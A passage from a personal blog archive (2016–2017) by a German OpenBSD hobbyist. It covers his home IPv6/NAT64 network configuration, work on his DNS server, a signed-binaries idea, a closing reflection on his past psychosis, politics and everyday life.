Somehow being away gave me comfort but I was still delusional. I was home, but in a strange land (hadn't been a resident of Germany for 15 years prior), and I agreed to psychiatric counselling and treatment after some time. I don't know why I needed to write this now but it's for all those that have a psychosis and those who don't become violent as me. Luckily I had an escape like I was told, but escapes are only needed when your situation has no more routes to go. It should be noted I visited Canada after that twice, and I don't think it's infested by vampires anymore luckily. This is also for Glen Race, who I just read about in the Toronto Star.



New self-portrait of me

August 9th, 2016

This is me in 2016. A bit fatter than the previous years, a bit smarter perhaps too. Although I heard that fat people have brains of skinny people 10 years older than them. So I'm not really smart.. but wise.

I just made this photo actually and touched it up with several tools, cut by gimp.



less surveilance

August 15th, 2016

I have lessened the surveilance on my blog by disabling a javascript pinger. This leaves the javascript ads that I have and I'm working on disabling those too. Basically my goal is to make it so that people can read my webpage once and have the page idly sit in their browser without it doing any traffic in the background (which reveals to me and any third party that the browser is still on my site).



My all-prime angled triangles

August 16th, 2016

I thought about this tonight and figured it out with the help of a small shell script. There is only 6 possible of this kind of triangle in the universe. I have listed them in a picture below.

They look like shards. And are different sizes, the ratio of sizes I didn't mind because I got the images from an online triangle calculator.



The Panic Chronicles

August 19th, 2016

I have started the "panic chronicles" a blog-like bug report on what can go wrong on OpenBSD. As I find bugs I'm sure to write them here.

Enjoy.



Eleven Reasons to be excited about the future of Technology

August 19th, 2016

Slashdot wrote this. I'd like to add my own opinion whether I'm excited or not.

  1. Self-Driving Cars - worry me. A car is a weapon when misused.
  2. Clean Energy - we're not there yet and will we ever be?
  3. Virtual and Augmented Reality - used to excite me, but the devices are locked down to only work on proprietary systems. Who wants to go pokemon go hunting anyhow? Do we really need this in our lives?
  4. Drones and flying cars - hmm. cool. When I still lived in .ca this would be cool to make the "suburbs" 700 km northwards, here in .eu it doesn't really matter since everything is settled land.
  5. Artificial Intelligence - would be cool to have it answer my VOIP phone and weed out voip spammers. Could it weed out my e-mail spam?
  6. Pocket Supercomputers for Everyone - with choice of OS or programability?
  7. Cryptocurrencies and Blockchains - I don't even know what that is
  8. High-Quality Online Education - This is cool, however "da man" knows what you're currently being taught. Playing hooky?
  9. Better food through science - if it's tastier why not?
  10. Computerized Medicine - if I swallow a "smart" pill that releases its dosis at the right moment that could be beneficial. Similarily nano-robots could be inserted into the blood stream, if that's possible I want virtual reality to watch it go..
  11. A new space age - yeah yeah.. where are our torus space stations that were in stanley kubrick's 2001 A Space Odyssey? Missions to Jupiter? HAL 9000's? oh we actually got the HAL, it's called Watson
Think I'm a bit pessimistic today.



Delphinusdnsd: Next week selfathon

August 22nd, 2016

I'm going on holiday for a week next week. I'm going to solely program on delphinusdnsd to get it in a state where I would be in a better position with it. On the menu is dd-convert.c to replace the ruby script. If I get time beyond that I'll work on making the dns keys rolloverable. Oh well good luck to myself.



Ordered a Banana Pi R1 Routerboard + Case

August 22nd, 2016

I ordered this at roughly 100 EUR. The powersupply says it can deliver 2 Amps at 5V meaning 10 watts. If this is true and if OpenBSD runs on this I'm going to replace my i386 firewall that currently sucks 20 watts. I'll just have to try it out I guess. If I don't get OpenBSD on it there is probably a chance to run another UBO on it, or I could donate it to a developer. Will have to see.



OpenBSD 6.0 Poster arrived

August 24th, 2016

I have hung up this poster where the 5.8 poster was. I notice it's somewhat crooked.

This puts my office into a darker hue. Which suits the onclosing winter season.



The whereabouts of HD164595 in Hercules

August 30th, 2016

Slashdot made me aware of this story of a SETI signal that was observed, last year by a russian SETI installation.

I have plotted the rough area of HD164595 it's somewhere in the circle but what's important is the relative near-ness to the star Vega. It's in the constellation Hercules, and should be visible this summer with Telescopes. As far as aliens reacting to broadcasts from Earth they have just now recieved signals from 1920's because they are 95 light years away. However they might have been reacting to carbon in our atmosphere due to the start of the industrial revolution in the 1800's. Meaning the aliens have telescopes. It is hypothesized that they are a Kardashev scale I civilization if they are directing this towards only us, so they are more advanced than us.

May they keep the signal going with the strength of Hercules :-).



I had photographed Vega and Constellation Hercules

August 30th, 2016

This picture is from June 27th, 2010 so a little over 6 years ago. My dad and I were on the Peterstirn which is outside of Schweinfurt (the city that I live in). This article is in relevance to the last article and I wanted to show it again. I have made a cut-off from the original RAW Photo and I want to show you this. Feel free to open the photo in another tab to make it it's original size.

As you can see this area of the sky (at least in june) is visible. You just gotta know what to look for. If you can find Vega you can find constellation Lyra and from there the area that's circled which is part of Hercules. Inside the circle somewhere lies the star system that emanates an 11 GHz signal.

Update. I have added the label to a star I think is called Ras Alhague in the constellation Ophiuchus. Constellation Hercules goes further up from here but I don't have that in my photo.



One more panic chronicle entry

September 9th, 2016

I woke up today to a panic'ed router/gateway. What a way to start the day. backtrace here. Why am I not sending these to OpenBSD anymore? dunno. I remembered there was a reason once.



TLS for centroid.eu blog, when?

September 14th, 2016

I'm going to restructure the website and the blog probably after the OpenBSD 6.1 release. Apparently there is a program in that release that manages certificates from "let's encrypt". Since I'd want my whole website encrypted I'd have to use let's encrypt several times to fully encrypt my website which contains the domains virgostar.net, solarscale.de and centroid.eu. So if you think the obfuscation is good enough, don't let it fool you, it was made for a defense against bots (that don't know javascript) not to thwart spying eyes. I'd run the same blog software only inside TLS with let's encrypt. Props have to be given to Edward Snowden for his whistleblowing which caused organizations like "let's encrypt" to form in the first place. Encryption should be free!



Stand up for Snowden

September 14th, 2016

There is a website called "pardon Snowden". It asks you to sign a petition to US President Barack Obama to pardon Edward Snowden before he leaves office. At the time of this writing Obama still has 128 days in office. Think about what Snowdens chances are after Obama? Would Trump pardon him? Would Hillary Clinton? Would anyone else? Edward Snowdens whistleblowing which caused him to flee the USA and take up asylum in Russia, caused US citizen no harm and did them a favour in showing how out of hand the surveillance programme in the USA has become. Stand up for your rights by signing the petition! I tried but realised it has to be a US citizen. What sort of a world are we living in anyhow?



Equinox in two days

September 20th, 2016

Equinox is upon us again in two days. last year's equinox was on the 23rd of september and it was chilly in the morning at 10 Celsius. Right now as I write this it's 16 Celsius and I'm hoping I can keep the heat off another week. We'll see.



Ordered a book from Amazon

September 20th, 2016

This time I want to learn more about USB. So I got:

  • USB Complete: The Developer's Guide (Complete Guides) - Jan Axelson
Hopefully it was worth it.



My IPv6 setup at M-net (german provider)

September 27th, 2016

I recently added IPv6 functionality to my network and had some obstacles to overcome, such as:

  1. How to route deep into my network and assign each host an IP6 that is 2 hops deep.
  2. What to do about rfc1918 IP's, since I want a NAT64/DNS64 setup
  3. How to do NAT66 in order to use deep routes

Well to give you a better idea I'm going to show you my network plan:

Network map:

[gaia]--                    [raspberry pi]
          \                      |              [mercury]
[phone1] - \                     |                  |
            --- [uranus] === [Access Point] --- [gamma] ---- to pppoe cloud
[phone2] - /                    ||
          /                     ||
[beta]--                        ||
                             [venus]-+--[spica]
                                |   \
                                |    +--[fritzbox LTE]------- to LTE network
                                |
                             [freifunk]

Legend:                         Hosts:

--- CAT5 cabling                gaia + spica: apple computers running vmware
=== wifi 5 Ghz                  uranus: OpenBSD i386 on Lanner hw
||  wifi 5 Ghz                  venus: OpenBSD amd64 on Soekris hw
                                gamma: OpenBSD amd64 on PC Engines APU
                                fritzbox: AVM fritzbox router

Here is my dhcp6c.conf file:

keyinfo mnet {
        realm "v6.mnet-online.de";
        keyid 1 ;
        secret "***notshown***";
};

interface pppoe0 {
        send ia-pd 0 ;
        script "/etc/nat66-up.sh";
};

id-assoc pd {
        prefix-interface vether0 {
                     sla-id 1 ;
                        sla-len 0 ;
       };
};
and with that the /etc/nat66-up.sh script:
#!/bin/sh

ADDRESS=`/sbin/ifconfig vether0 | grep inet6 | tail -1 | awk '{print $2}'`
NETWORK=`echo $ADDRESS | awk -F: '{printf("%s:%s:%s:%s:%s:%s::/64\n", $1, \
	$2, $3, $4, $5, $6); }'`

/sbin/pfctl -t nat66 -T flush
/sbin/pfctl -t nat66 -T add $NETWORK


exit 0

I use a vether0 dummy ethernet interface to take on the IPv6 address from my provider (mnet) so that I can give all other interfaces a 2001:db8::/56 address. This address gets translated later in my pf rules and the relevant lines to the pf look like this:

table  persist
table  const { 2001:db8::/56 }
...
match out on $ext_if inet from  to any nat-to ($ext_if)
match out on $ext_if inet6 from  to any nat-to  round-robin \
	sticky-address
...
pass in on re2 inet6 from any to 64:ff9b::/96 af-to inet from ($ext_if)
pass in on re1 inet6 from any to 64:ff9b::/96 af-to inet from ($ext_if)
I would have liked putting (vether0:network) in place of the but found that it translated to the fe80:: address and not the assigned address from m-net. So I have to do it this way, it's no headache. Also the round-robin was unfortuantely the only mode I got working, I would have liked to use random to get a random IP6 on the outgoing /64.

So let's see what we got, we have native IPv4 NAT44'ed, we have dual-stack IPv6 NAT66'ed and we have NAT64/DNS64 on top of that. It's really cool, to show you how the DNS64 works I'm gonna do a host lookup on censored.net which isn't mine so please look at it just as an example:

beta$ host censored.net
censored.net has address 72.52.4.91
censored.net has IPv6 address 64:ff9b::4834:45b
censored.net mail is handled by 0 localhost.
Then when I route into 64:ff9b::/96 it gets af-to'ed in the pf rules to an IPv4 address. It's really cool.

What else is missing? I want to show you the DNS setup with BIND from the OpenBSD 6.0 ports, it worked out of the box. Here is what I had to add into the options:

        dns64 64:ff9b::/96 {
                clients { 2001:db8::/56; 192.168/16; };
                mapped { !10/8; !192.168/16; !172.16/12; any; };
                exclude { 64:ff9b::/96; };
                recursive-only yes;
        };

That's really all there is to it, I had a lot of fun doing this and can't wait until some services of mine use IPv6 so that I can drop the native IPv4 completely.



Victim of spoofed Mail

September 30th, 2016

I've become victim of spoofed mail. Someone is sending mail with one of my domains to other people, getting them mad, and I receive the bounces. I do have SPF protection records but if the remote SMTP gateways don't enforce SPF records, then it's not helping. Here is the IP's that a "valid" mail from my domains would come from:

108.61.211.139
78.47.14.22
2a01:4f8:d13:1980::/64
2001:19f0:6c00:9041:5400:ff:fe11:3332
This is listed in SPF DNS records for my domains as well. I knew there was a-holes on the Internet, and they finally got to me. Unfortunately there is nothing I can do about this. If there is let me know what. I'm looking for a technical solution.



FreeBSD Donation

September 30th, 2016

I have donated $5 to FreeBSD Foundation. This wraps up FreeBSD donations for this year, there is an OpenBSD donation coming in 2 months or so.



I've turned on the heat for 2016/2017

October 4th, 2016

The temperature right now is 13 Celsius and it's expected to drop more, so I'm turning on the heat. I read somewhere that in Germany by law the O-O rule stands. O-O stands for Oktober-Ostern so october til easter that is when the heat is expected to be turned on by landlords. Since I control my own heat I am independent of this, but I pay for my own heat as well.



I got credited to a bug report

October 4th, 2016

OpenBSD fixed a bug in OpenBSD-current and it also existed in 5.9 and 6.0. Here is the credit, and it got fixed today. This is under the "ARP bug" in my panic chronicles. Which I'll remove now.



Good News

October 6th, 2016

I have fixed a thing that stalled development on my DNS server. In particular the dd-convert.c program was using mktime() erroneously, the fix was to put timegm() in those places. Here is the fix at version 1.19 where this occurred. Much thanks to Habbie who helped me in August of this year to get me back on track. I can now continue programming on dd-convert.c when I have time. I'm looking forward to my winter vacation. Perhaps I'll even finish dd-convert.c then. And New Year 2017 would be around the time to cut a release. Wouldn't it be great to be on time. Oh well.



Usutu Virus killing Blackbirds

October 8th, 2016

I heard the Usutu Virus is responsible for killing large populations of blackbirds predominantly. I wrote about this in October 2011, seems there is a second large wave coming through now. First read about this in Spiegel Online (german). The blackbirds are victims this year of not only this virus but trees have lesser food such as berries I noticed, due to the summer heat.



My core network

October 11th, 2016

I was asked by AVM support to make a drawing of my network, I was having so much fun with xfig that I want to share it with you.

Parts of it is in the german language but it's self explanatory.



Upgraded io.solarscale.de to OpenBSD 6.0

October 13th, 2016

I have upgraded my last FreeBSD VPS to OpenBSD. It wasn't easy but I managed to overwrite the first 64 MB of the partition table with OpenBSD installer. Then I did a network install. Which didn't work for some reason, so I had to ftp the packages manually before doing a disk install. OpenBSD rocks! I now have 3 OpenBSD vps's. I don't think I need any more, I'm quite happy with this.



Ordered 4 Puffy Mugs

October 13th, 2016

I have ordered four puffy mugs from the OpenBSDStore. I'm glad to be inviting my 3 friends to have tea or coffee with them. Puffy style.



An idea and a plea for our worlds society

October 16th, 2016

Currently we're living in a split-brained world. On one side there is powerful corporations who build shabby products, on the other side there is consumers who require quality products that have no government issued backdoors in them.

If we really are in an "information" age then why are computers a secret? Why do our children not get taught anything useful in school, to build their own computer for example. We're teaching the kids nonsense and not telling them the truth on what is needed in a true information age!

Now if you think children at age 12 should sit down with a soldering iron and construct circuits you're both right and wrong at the same time. We know that electric circuits can produce a logic gate in order to do the magic that runs computers. We also know from research that photonic circuits can in theory do the same without the heat byproduct.

We also know that silicon can be doped to produce lasers. My suggestion is to produce computers with photonic gates or fibre optic switches as components.

Put away with slow speed busses and combine RAM with CPU on one silicon circuit. And interface this "package" with high speed optical paths to other CPU's and I/O such as USB busses. There is very minimal soldering that needs to be done in that scenario, but kids should learn to work with these high tech components.

I am willing to bet a homebrew computer that uses light to switch it's I/O is 100 times faster than the usual 8 bit homebrews that we have. That's an amazing 200 Mhz! We should teach our kids to build these from scratch giving them the components only so that they can make their own.

I'm of the opinion that children from age 10 to age 14 should be taught how to build their own computers and from age 14 through 18 use these tools to expand their knowledge in other fields. Everyone their own computer! That should be a must in the information age.

If you really think about this you may come to the conclusion as me that people growing up around this idea will become craftsment from slaves and will know how to build their own computers that are top notch technology. Combined this is Open Source and Open Hardware and will tell the silicon industry who possibly covet in secrecy to play fair. Their day has possibly come.



Autumns Dress

October 18th, 2016



Got 4 Puffy Mugs today

October 18th, 2016



Delphinusdnsd name approaches 2 years old

October 20th, 2016

On November 14th, 2014 I forked delphinusdnsd from wildcarddnsd. It was a namechange to indicate a new direction in programming, namely DNSSEC. I'd like to sum up the milestones it got since then:

  • dd-convert.rb a ruby script to sign zonefiles
  • a semi decent working dnssec stack
Currently and this year I'm working on a replacement for dd-convert.rb to make the project full C source again. And I'm getting ideas to incorporate parts of dd-convert.c back into delphinusdnsd to help in things such as dynamic DNS that is fully signed. But first I gotta get this done. It's my main task for this year which had obstacles to overcome. I'm looking forward to 2017 to start new things on delphinusdnsd and improve on it, here is some hints:
  • underlying database needs to be replaced, that means goodbye berkeley db. The reason for this is that there is a bug with my implementation, not sure if it's OpenBSD related or Berkeley DB related but it appears to affect queries.
And then there is always the need to refactor some code.



Will Internet Surveillance in Germany decelerate our Internet?

October 21st, 2016

Germany is already behind many other countries in Europe and elsewhere (like South Korea), in terms of Internet speeds. Recently the BND was given powers (german) to surveill our Internet. I'm wondering if the surveillance will decelerate our Internet from progressing into something fit for the 21st century. South Korea is working on 10 Gbit/s speeds for everyone already. We're just at 50 Mbit/s if we're lucky. I still have 16 Mbit/s. With every speed upgrade at an ISP the BND will have to conform their spy equipment to similar standards which is a burden on the taxpayer. I fear the pandoras box has been opened.



Happy Hallowe'en!

October 31st, 2016

I got candies here! And awaiting children if any dare!



Shades can say so much!

October 31st, 2016

Made this photo a few days ago. I think it's very pretty.

Made with an iPod as I was walking down this path. Happy Autumn!



First day of Snow for the Season

November 8th, 2016

Yesterday I increased the heat to #2 on my electric "nachtspeicher" furnaces. Tonight it's snowing. Stille Nacht.



Arctic Fibre aquired by Quintillion Networks

November 8th, 2016

Today is the first day of snow I experienced in 2016 fall season. In 2013 I experienced the same first few days of snow in Iqaluit, Nunavut. Because I saw a connection I researched the past and found in a link that Arctic Fibre of Toronto, Canada was aquired by Quintillion Networks last june. Quintillion Networks seems to be run by people from Alaska. It reminded me how my friend in Iqaluit said that Barrow, Alaska has a lot in common with Iqaluit (I think he said that on twitter). Anyhow the Canadian part joining with the Alaskan part and stretching to the UK is probably in limbo since it's been pushed back to Phase 3. But here is hoping that Iqaluit will get terrestrial submersed fibre optic cable some day.



Donald Trump is president of the US-elect

November 9th, 2016

I did not cheer for Hillary and I did not cheer for Trump. Americans failed to look for the alternatives. My favourite was Jill Stein, who got very little votes if any. I did not cheer for the "lesser evil" I turned my thoughts away from the Clinton-Trump pair, even though people tried to tell me I had to chose. I don't have to chose, I chose the alternative. Hopefully the Donald will not wreck too much in relations between my country and the USA. I count on the real alternative, the US Green Party.



Government (NASA) Space Program likely to suffer under Trump

November 9th, 2016

I talked a little about the American and European space programs in the past. Now on one hand it was a GOP under Dubya Bush who wanted Moon to Mars. However Trump has other priorities. He wants to fix the potholes in America first. He makes economic sense, there is no glory when your infrastructure is failing. But we likely won't see much action until at least 2021, that's after his first term is my thought. With Obama the American Space Program suffered but Obama set something in motion that was perhaps a smart move. The private space industry, SpaceX, boeing, those sorts of private enterprises.



A real exciting Idea

November 10th, 2016

Yesterday I was brainstorming how to "sign" binaries in OpenBSD, and I caught an itch. I don't know if I'll ever do this but I've given it thoughts since yesterday. First though I want to show you this, here. I'm not the only person that thinks a signed binary in OpenBSD would be a good idea. So then I thought about how to do this a little.

In the kernel the exec routines for reading an ELF binary would have to be modified in the following way. It reads the ELF program header table and expects a PT_OPENBSD_ELFSEC program header identification. By reading in the entire binary upon exec, given that the user is not root (a suser check) and caching shows no binary behing checked before (a walk of a LIST), the kernel HMAC checksums the binary with a key that was ioctl'ed into the kernel at boottime under securelevel 0, in fact this check is only done if the securelevel is > 0. It then compares the section of PT_OPENBSD_ELFSEC and it it matches it discards the read file, and lets read-on-demand take over for the file. It is running a genuinely "signed" binary.

In userland there is 4 programs that get modified. Binutils, strip, elfsec and elfsecd. When compiling new programs the PT_OPENBSD_ELFSEC program header gets added to the ELF program headers. As root you can execute any signed binary becasue then it doesn't matter if signed or not, a hacker has all control over the system. When binaries are compiled make calls strip with a new argument which will "bless" a binary with the elfsec program when root. When a non-root user it is checked first if a user is allowed to bless binaries and then elfsec speaks with elfsecd to bless a binary with the private key that only root can read, a bunch of descriptor passing within the imsg framework would work out nicely. The elfsec binary should also be able to bless entire directories such as /bin, /sbin, /usr/bin, /usr/sbin etc.

This is the track I have wrapped my thoughts around. Dunno if it's worth it but the installer program would need to be modified to rebless new binaries in an upgrade. That would satisfy all those naysayers that say it would never work. In the end result you prevent someone else from importing binaries that you don't want runnning on your system. Perhaps a worm of sorts. It's another level of security and it would cost an attacker a lot of resources to crack the private key to each binary. It would slow down a system somewhat, but I've been using SSD's for a few years now and don't see this as much of an issue, also there is caching which should speed this up.

Hehe, thinking of vapourware can be mind consuming for sure :-).



OpenBSD Donation Time

November 19th, 2016

Part 2/2 of this year, I have donated 100 EUR to Theo de Raadt. This wraps up my donations to all *BSD's this year. BTW the donation meter at OpenBSD foundation is almost filled to the goal. Congrats OpenBSD!



The Hydrogen Economy

November 23rd, 2016

My dad thinks this is a real good concept. The Hydrogen Economy. Unfortunately we're not there yet, but rest be assured our militaries submarines have been using these for quite a while. Maybe in another lifetime will we civilians make use of this.



My OpenBSD bridge inside Freifunk Franken

November 23rd, 2016

Freifunk Franken is a network that is partitioned into what's called hoods. While the entire network consists of 10.50.0.0/16, my hood has 10.50.60.0/19 or something. I'm in the Hassberge Sued Hood which is centered around Hassfurt. Each hood represents a Layer 2 (Datalink layer) network, so you can reach within 1 IP Hop everything inside it. Since geographically my parents house and my apartment are in the same Hood, I set up an OpenBSD machine as a bastion host between my internal network and the freifunk franken network to do IPSEC tunneling in order to have security and integrity between my parents house and my house. The bastion host I set up at my parents house looks like this:

It is a PC-ENGINES APU router that does not have forwarding between its interface, hence there is no way to misroute things.

I've been running this for a few weeks now and have hooked up SIP phones to this. The phone conversations are clear as ever (38 ms ping). Knowing that they are encrypted is a big bonus.



Blueberries

November 29th, 2016

At my local supermarket I picked up a batch of blueberries. When I ate them I noticed a change in vision and a hightened awareness. This made me curious what I experienced. For one it enacted in my visual senses, so that must be the occipital lobe area of the brain. Reading online about this fruit I found that it is classed a "superfood", a nutrition bomb so to speak. It is high in Vitamin C and K and has manganese. It is good to have when you have nutritional deficiencies. It sure made a diff for me this afternoon. Also its latin name of its genus: vaccinium sounds like the english vaccine. Maybe there is a relation. I'm glad I experimented with this.



Our Mass-surveilance problem

December 1st, 2016

I just watched Edward Snowden on a clip on youtube during dinner and he made a great speech regarding that presidents can't fix the mass surveilance problem and that we must fix it (as a world movement). He said we must weigh the should we and shouldn't we or something, because lately it's been the can or can't we. This reminded me that the german BND (spy service) has been given 150 million EUR to spy on people's snapchat and other encrypted forms of communication. We have to work against the powerstructures that want to take our privacy and route around these.

BTW there is fake news possibly saying that Julian Assange has been kidnapped by CIA. Fake news can be so annoying because they could turn out to be real. Julian, I hope you're OK!



2016 Year in Review

December 8th, 2016

A bit earlier than most years here is the review for 2016.

December 8th, 2016	This year in review 2016.
December 1st, 2016	Our Mass-surveilance problem
November 29th, 2016	Blueberries
November 23rd, 2016	My OpenBSD bridge inside Freifunk Franken
November 23rd, 2016	The Hydrogen Economy
November 19th, 2016	OpenBSD Donation Time
November 10th, 2016	A real exciting Idea
November 9th, 2016	Government (NASA) Space Program likely to suffer under..
November 9th, 2016	Donald Trump is president of the US-elect
November 8th, 2016	Arctic Fibre aquired by Quintillion Networks
November 8th, 2016	First day of Snow for the Season
October 31st, 2016	Shades can say so much!
October 31st, 2016	Happy Hallowe'en!
October 21st, 2016	Will Internet Surveillance in Germany decelerate our..
October 20th, 2016	Delphinusdnsd name approaches 2 years old
October 18th, 2016	Got 4 Puffy Mugs today
October 18th, 2016	Autumns Dress
October 16th, 2016	An idea and a plea for our worlds society
October 13th, 2016	Ordered 4 Puffy Mugs
October 13th, 2016	Upgraded io.solarscale.de to OpenBSD 6.0
October 11th, 2016	My core network
October 8th, 2016	Usutu Virus killing Blackbirds
October 6th, 2016	Good News
October 4th, 2016	I got credited to a bug report
October 4th, 2016	I've turned on the heat for 2016/2017
September 30th, 2016	FreeBSD Donation
September 30th, 2016	Victim of spoofed Mail
September 27th, 2016	My IPv6 setup at M-net (german provider)
September 20th, 2016	Ordered a book from Amazon
September 20th, 2016	Equinox in two days
September 14th, 2016	Stand up for Snowden
September 14th, 2016	TLS for centroid.eu blog, when?
September 9th, 2016	One more panic chronicle entry
August 30th, 2016	I had photographed Vega and Constellation Hercules
August 30th, 2016	The whereabouts of HD164595 in Hercules
August 24th, 2016	OpenBSD 6.0 Poster arrived
August 22nd, 2016	Ordered a Banana Pi R1 Routerboard and Case
August 22nd, 2016	Delphinusdnsd: Next week selfathon
August 19th, 2016	Eleven Reasons to be excited about the future of Tech..
August 19th, 2016	The Panic Chronicles
August 16th, 2016	My all-prime angled triangles
August 15th, 2016	less surveilance
August 9th, 2016	New self-portrait of me
August 5th, 2016	Psychosis: put to the test (my first psychosis)
August 5th, 2016	DSL: a question I've always wondered
August 5th, 2016	O Really?  Do we really need NATO?
August 5th, 2016	Ordered 4 books
August 2nd, 2016	If I were to vote in the US Election today
July 30th, 2016		Freifunk Project fail
July 24th, 2016		Did you know: DoS report law
July 23rd, 2016		Finally quit Twitter
July 23rd, 2016		Media blackout of SZ.de yesterday
July 22nd, 2016		Quitting Twitter tomorrow at noon
July 22nd, 2016		The WTC conspiracy
July 19th, 2016		Sick of it
July 18th, 2016		My Stargate
July 15th, 2016		Ordered two books
July 13th, 2016		It's not me
July 5th, 2016		EU could be un-democratic
July 4th, 2016		Being Freifunk Active
July 2nd, 2016		The missing link
June 29th, 2016		Changs at $HOME
June 26th, 2016		Ordered books from Amazon
June 25th, 2016		I hunt sysadmins
June 25th, 2016		EU, somethign must change
June 24th, 2016		Idea Brainstorming for Britain
June 24th, 2016		Goodbye Britannia
June 21st, 2016		Happy Summer!
June 20th, 2016		June Solstice in 3 days
June 18th, 2016		Received seven Freifunk Routers
June 12th, 2016		Most cannot see the milky way
June 10th, 2016		Energiewende in Danger
June 10th, 2016		Why I prefer BIND over unbound currently
June 4th, 2016		OpenBSD Donation Time
June 4th, 2016		Brexit, I'd like UK to stay
June 4th, 2016		Gotthard Base Tunnel
May 26th, 2016		Moved delphinusdnsd
May 21st, 2016		Turkeys government?  No go!
May 20th, 2016		Instead of Toronto, Ireland?
May 16th, 2016		5 days left for americas.centroid.eu
May 15th, 2016		Ordered books
May 12th, 2016		Donated $5 to ISC
May 12th, 2016		The need for a mesh network
May 12th, 2016		Stoererhaftung has been eliminated in Germany
May 10th, 2016		Europeans love English!
May 7th, 2016		One router too many?  The add-up.
May 7th, 2016		RPI Guest AP done, but not for 2.4 GHz
May 5th, 2016		Not passing down my RPI after all
May 3rd, 2016		My dreamworld
May 2nd, 2016		Blog's birthday
May 2nd, 2016		Considering an SSD upgrade
May 1st, 2016		13,500 positions in the German Cyber Army
April 22nd, 2016	Doing a training session this summer
April 15th, 2016	Stand down!  OK.
April 13th, 2016	12 months of Parship
April 7th, 2016		VDSL not until February 2017
April 7th, 2016		Registered a new domain
March 30th, 2016	I waited 3 years for this moment
March 28th, 2016	Ordered 100 Mbit Internet
March 27th, 2016	A rare word on politics
March 27th, 2016	Handing down my Raspberry Pi model B
March 27th, 2016	Very cool presentation by Agarwal
March 21st, 2016	Spring now...
March 19th, 2016	Making a turn-key dns server out of DelphinusDNSD
March 14th, 2016	Lordy Lordy loook who is Forty
March 6th, 2016		30 Years of Personal Computing History
March 6th, 2016		After 16 years, I got a TV
March 3rd, 2016		Ordered a backup Firewall
March 1st, 2016		New VDSL modem turned on
March 1st, 2016		19 days until March Equinox
February 24th, 2016	New Access Point in my apartment
February 24th, 2016	Venus broke
February 23rd, 2016	Registered domain zeropager.de
February 20th, 2016	Getting a TV after 16 years having none
February 18th, 2016	Apple is right (in this case)
February 12th, 2016	DSL Link issues, Provider refuses to help me...
February 8th, 2016	Delphinusdnsd waht's next in development?
February 3rd, 2016	Ten days from now is Year Three
February 3rd, 2016	Electricity for 2015 way up
January 29th, 2016	Delphinusdnsd 1.0.1 released
January 23rd, 2016	All Domain Names signed
January 22nd, 2016	Delphinusdnsd - ironing out the DNSSEC bugs
January 21st, 2016	What's up down with the Canadian Dollar?
January 20th, 2016	Preparing to sign my zones -> DNSSEC
January 19th, 2016	To Human Artificial Systems
January 9th, 2016	Dissecting WebShoppy Mac OS X trojan
January 8th, 2016	Organized Crime is the Enemy
January 6th, 2016	Donation time
January 3rd, 2016	The invisible man
January 1st, 2016	How hard can changing a password be?
January 1st, 2016	When a book loses significance
January 1st, 2016	Delphinusdnsd 1.0.0 Released
December 31st, 2015	More power from Arabia and Sahara?
December 29th, 2015	Our XMAS Dinner
Enjoy the memories.



Solstice in three days

December 18th, 2016

The solstice will be here in three days. Happy solstice!



Merry Christmas

December 24th, 2016

May Santa be good to you.



Christmas Tree 2016

December 24th, 2016

Not really a tree, but this is how we've done it for the past decade or so.

Merry Christmas!



Hacking days

December 27th, 2016

I'm on vacation. I've decided to use most of my vacation days to hack on delphinusdnsd. If you're interested in progress I'd suppose you could look at this link. Thanks for well-wishes!



Happy New Year 2017

December 31st, 2016

As I write this, it's already been new years in Fiji, so the Earth is rotating in 2017 already. I had a very good year in 2016, and hoping 2017 will be good too. I wish the same for you.



Delphinusdnsd will be released January 29th

January 2nd, 2017

There is new news on the delphinusdnsd website. To quote:

"DelphinusDNSD 1.1.0 is in alpha-testing, the release date is fixed to 
around January 29, 2017. Contact me if you want to help. The changes are 
far from staggering, they are more about programmer freedom. I have replaced 
the Ruby program with a C program and rely less on an external program 
provided by BIND. So I escape licensing caveats and am in a much better 
position. Due to my limited time (so far a 1 person effort), I did not get 
TODO's in that I really want to see in, maybe for the 1.2.0 release, which 
would be in 2018 :-}."
I still invested a lot of time in this in 2016. But my resources are limited. Any (open source) programmer will tell you this.. (time is not enough). But I guess it happens everywhere.



Goodbye Mac OS X port

January 3rd, 2017

I have decided to drop the Mac OS X port for delphinusdnsd. If anyone wants to pick this up all it really needs is a Makefile update. The reason I do this is because Mac OS X is a dying OS at my house. I only have 1 native Mac OS X computer left and I don't want to pollute it with Mac Ports. Also I'm against running delphinusdnsd on a computer that has an open microphone for Siri. Let the real operating systems survive.



BIND didn't reply with AD flag

January 5th, 2017

I made a configuration mistake in my BIND options. I had set dnssec-validation yes; but this was wrong, this is how it should look like:

# grep dnssec named.conf
        dnssec-enable yes;
        dnssec-validation auto;
Only with the auto set will the AD flag appear and validation is being done. Thanks google for helping me find the problem.



RFC 8020 violation of Delphinusdnsd

January 8th, 2017

When delphinusdnsd has a zone.tld domain name and that contains a _25._tcp.mail.zone.tld domain name then when someone looks up just _tcp.mail.zone.tld the daemon replies with an NXDOMAIN. This is wrong. It should reply with NODATA which is NOERROR with nothing in the data section. Needless to say I'm going to try to fix this before the 1.1.0 release.



Obama, why not pardon Chelsea Manning?

January 8th, 2017

Chelsea Manning is still imprisoned. Why doesn't President Obama pardon her? There is one week left to do that. Act now!



After fixing NODATA of ENT names...DNSSEC breakage

January 10th, 2017

My DNS server delphinusdnsd is currently broken in NOERROR reply when dealing with ENT (empty non-terminal) names in DNSSEC. I'm working on the issue after having tested ENT additions, and hope to finish by the 28th of January. If not then the 1.1.0 release will have to be postponed. These ENT fixes as explained in RFC 8020 are an absolute must for a DNS server and I have to fix it.



Short Weekend

January 16th, 2017

A harddrive died at work and re-ordered my weekend in such a way that I did not sleep at my parents which I usually do. I had to get up at 5:35AM this morning to assist the remote hands to swap the failed drive. Ahhh. The life of a sysadmin, when shit breaks. And shit will break. It's just a matter of time.



Blog outtage

January 18th, 2017

This blog was down for 24 hours because of the power outtage in Amsterdam yesterday. Even though my VPS came back yesterday I forgot to check the PHP scripts and just noticed it was down. Sorry for the inconvenience. I have taken steps to make sure that php55_fpm gets started right after reboot. It was a badly named rc script.



Thank you President Obama! Chelsea will be released May 17th

January 18th, 2017

Chelsea Manning has all the reason to celebrate today because her days in prison are numbered. Before her sex change she was named Bradley. I have dug up this photo of her from an article from September 3rd, 2011.

If you don't know what Chelsey did it was like this. In the war in Iraq a family of children and women and a man were shot up by a helicopter gunship. It was gruesome to watch, and it was Chelsea that released the video to the public. Chelsea sat in prison for someone else (the pilot), is my take on it. Anyhow leaking such material from the military is not undangerous, as you can see Chelsea sat 6+ years in prison. She tried to commit suicide and did a hunger strike. All that will be past soon but the scars remain and will need healing.



